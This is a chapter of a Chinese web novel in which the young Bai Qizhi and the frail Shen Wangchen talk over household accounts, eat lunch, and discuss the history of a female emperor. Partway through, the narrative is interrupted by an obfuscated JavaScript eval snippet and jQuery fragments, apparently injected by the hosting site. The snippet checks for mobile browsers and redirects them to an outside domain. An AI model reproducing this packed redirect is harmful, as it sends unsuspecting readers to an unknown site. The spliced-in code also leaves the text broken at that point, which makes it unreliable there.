气氛顿时安静得跟死了一样。
沈忘尘像个做错事的小孩子一样,将触碰过的手藏了起来,小心翼翼地觑着白栖枝的神情,不知道这时候是该装作什么都没发生的好,还是立即认错道歉更好。
反倒是白栖枝,她仍然很淡定,像是什么都没发生过地依旧面不改色地审阅着账本,甚至连眼都没有抬起一下,就是收回了手拍去上面的糕饼渣,翻了页书。
沈忘尘久久不动。
白栖枝宽慰道:“没事没事,想吃你就吃嘛,吃完叫下人再拿一碟就好了。”说完,她抬眸转头看向沈忘尘,见后者一副拘谨的神情,当即露出一副玩味的神情,坏心眼地问道,“你不会还要我喂你吧?”
“咳!”沈忘尘狠狠咳了一声,苍白的脸因为窘迫而透出一点粉红。
他放下虚握成拳的右手,左手则一直假装自然却十分僵硬地搭在轮椅扶手上。
白栖枝知道他不自在,便拿起账本假意问他一些问题好让他缓和些情绪吗,谁知这一探讨便停不下来了。
沈忘尘一字一句地教她管理府内事务的诸多注意事项,白栖枝静静地听着。一开始她本来是当闲谈聊的,可随着话题越渐深入,她便凝眉抿唇不语,一点点听着沈忘尘的话,随手拽过一旁的纸张奋笔疾书地记下要点,再往后她又谈起了自己在家中见阿娘管理府内诸多事宜的样子,对比了下商贾人家和官宦之家间对待府内事务的管理,找出异同点。
所谓一通百通,再加上白栖枝脑子转的越快,立即又触类旁通地将话题转到商铺未来的管理方式是否能在某些细微处参考这两处的管理方案。
聪明人间的对话总是点到为止,寥寥几句话便可让对方心知肚明,不必浪费口舌,事情却办得比什么都明白。
沈忘尘实在是没有这么痛快地与人交谈过了。
下人们自是不必说,他如何吩咐他们便如何去做,根本没有交流的余地。
林听澜倒是能同他略略探讨上一二,但他性子太过直扭,认定一件事八头牛都拉不回来,又因为从小生活环境不同许多思维与他有异,有些事他与他三两句便能说明,而有些事他们或许讨论三天三晚都未必能说服对方。好在林听澜会对他服软,不然他们两个犟起来真是没完没了,反倒惹得对方一肚子气恼。
但白栖枝不一样的。
也许是同样出自官宦人家,也许是年龄上实在差得太多,在他说话的时候,白栖枝是决计不会打断他的,只会将红润的小嘴倔强地抿成一条直线,随即在觉得疑惑或者有误的地方前点上一个点,等他说完后才开始发表自己的见解。
两人就这样聊着聊着,甚至忘了时间的流逝,直到芍药领人来送午膳,两人才意犹未尽地将将停止。
沈忘尘还病着,摆在他面前的就只有一碗山药薏米粥,对比白栖枝面前的红烧小排和清炒蒌蒿,实在是分量少又清淡。
白栖枝甚至觉得他会饿晕在这里。
她有些无所适从地挠了挠耳垂上小小的疤痕,问:“你就只吃这些吗?”
沈忘尘笑了笑:“最近胃口不好,吃多了还会胃痛,况且还有一大碗汤药等着我呢,吃不下。”
白栖枝突然觉得他好可怜。
在她眼中这世上没什么比能吃很多很多香香的饭还要幸福的事情了,但沈忘尘因为身体缘故什么都吃不下、吃不了,从这个方面看,他真的是非常可怜的一个人了。
意识到白栖枝正用水汪汪的大眼睛满是怜意地看着自己,沈忘尘又道:“我年轻时也是吃过不少珍馐佳肴的——你尝过莲房鱼包么?”
白栖枝很诚实地摇摇头。
沈忘尘说:“用荷花的嫩莲房为容器,填入用酒、酱、香料腌制过的鳜鱼肉,再蒸熟而成,,造型雅致,风味独特,很鲜美的。”见白栖枝不住咽口水的贪吃模样,他悠然一笑,舀了舀白瓷碗里的粥液,“等夏日荷花初放的时候,命人去聘一位凤观的师父来做做看吧。”
说完,他轻含了一口温热的粥,缓缓咽下,纤长的眼睫低垂抖动时甚至会在白皙的皮肤上洒下一片青灰色的阴影。
白栖枝静静地看着他。
她自知自己的样貌在长平是泯然众人,但沈忘尘不一样,虽然算不上最上乘也能称得上是上上乘,尤其是他那双桃花眼,他究竟是怎么长得?感觉就算在看狗他那双雾蒙蒙的眼也会是一片深情。
“沈忘尘。”白栖枝看得痴了,忍不住唤了他一句。
沈忘尘淡然抬头微微一笑:“嗯?”
白栖枝本想夸他一句真好看,但想了想,突然这么夸他好奇怪,于是她将视线移到了沈忘尘那如黑绸缎般从不束起的浓密黑发上,问:“你怎么从来不束发?”
沈忘尘倒是答得坦然:“从前养病的时候没有力气束发,后来好不容易病好,手指没了力气,就很难再将头发束得整齐,再后来习惯了,就这样一直披着了。”
他语气很淡,可白栖枝却从中听出一丝心酸。
她甚至能想到沈忘尘十指受刑时该有多么可怖,那么那么痛的刑罚,他是怎么忍过来的啊?
好可怜……
沈忘尘自觉习以为常,可面前的白栖枝却是一副快要哭出来的心疼模样,倒叫他差点以为自己受了什么天大的委屈,才会叫一个小姑娘如此怜悯自己。
可一切都是他咎由自取,怨不得天,尤不得人。
“好了好了,别哭,快吃饭吧。”眼见小姑娘眼眶里的泪花在打转,沈忘尘哑然失笑,“再不快些吃的话,一会儿菜凉了就不好吃了。又不是什么大事……”
“可是会很痛的啊。”白栖枝急急道,“又不是什么违法乱纲的大事,为什么要受这么重的惩罚?”
“因为做错了事。”沈忘尘极快极轻地小声道了这么一句,随即,他像是怕白栖枝下一秒就要掉眼泪一样,轻松地笑了笑,“好了,这下再不吃的话,饭菜就真的要凉了。”
白栖枝想了想,什么也没说,低头吃饭了。
次日,竟是沈忘尘早先来到书房。
偌大的书房里,因为白栖枝不在,竟比平时显得更空旷寂寞。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15602947|157766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沈忘尘看到空荡荡的书桌时,心头猛地一跳——
这几天虽然过得轻松又自在,可林家的那些人到底还在府内,白栖枝骤然来得这么晚,他真害怕林家人会再次对她下黑手。
好在没一会儿,白栖枝就不慌不忙地抵达到了他眼前。
与平时不同,今天的她也没有绾发,那一头原本该拖到地上的头发像是被绞去了一节,柔顺地披在身后,衬着她纤细白皙的身躯和她眉心那一点用朱砂刺入皮肤的红痣,竟有几分寻常人所不能及的纯洁神性。
沈忘尘只是看了一眼,眼睛便盯着她的头发不动了。
白栖枝一撩颈后的长发。
在春光的照耀下,那晃动的乌发如同绸缎般隐隐泛着水色光华,令人光是看上一眼就炫目不止。
沈忘尘将手中书卷合拢,温声问道:“身体发肤受之父母,怎么还把头发给绞了?是遇到什么不顺心的事了么?”
对此白栖枝摊手表示自己的父母都在天上,这种说辞对她根本不管用。她的头发她想绞就绞了,难道她处理自己的身体还要经由别人同意么?
一番说辞叫沈忘尘眉角轻轻一扬后,墨澈双眼里温柔的笑意愈发浓重。
他发觉,这小丫头骨子里其实还带着点离经叛道的,但她这张脸实在是太乖巧了,以至于无论做什么坏事都显得格外情有可原。
白栖枝却径直坐到他面前,看着他纤细苍白的手指间露出几个墨色大字——
《启书·女帝本纪》
她得心应手道:“大启,取《周易·乾卦》‘大哉乾元,万物资始’之意,象征‘承天启运,涤旧生新’。以玄德王,色尚青,应苍龙镇岳之象,承凤君参帷之兆。其中讲的是三百八十七年前,前北晟大将军、中原第一女帝苏玉尘苏咏絮的生平,彼时她师承先太子,后又将东陵遗孤收入帐中,一统北晟、南楚、西夏三地,是青史中不折不扣的以一己之力登基称帝的女子。怎么,你也喜欢研究明武帝生平?”
沈忘尘没想到她对此竟也有探究,原本茶雾朦胧的眸子登时明亮起来:“你读过?”
“不算读过。”白栖枝说,“只是幼时在阿父的书房内看过一眼,草草记了几句。”
因为年头久远,这本女帝本纪许多页早已散佚,但她阿父闲时就喜欢收藏这些散佚的史书,她也因缘看过几次。
而经常与这位女帝并头提起的,还有一位在青史上可堪出名的女子。
那便是前朝的昭华公主裴山河。
只不过前者的出名是正向的,后者的出名则是反向。
昭华公主裴山河,原名裴棠花,后登基称帝,自更名为裴山河,本是该气吞山河的好名字,却因其登基之后昏庸无道,祸起青云之乱而被钉在女帝的耻辱柱上,为众史家所嗤笑。
不过比起正史,人们更乐于当做饭后谈资的却是她们的情史。
仿佛无论她们创下多大的功绩,亦或是捅下多大的篓子,人们就只能记住她们睡过几个男人似的。
实在是令人发笑。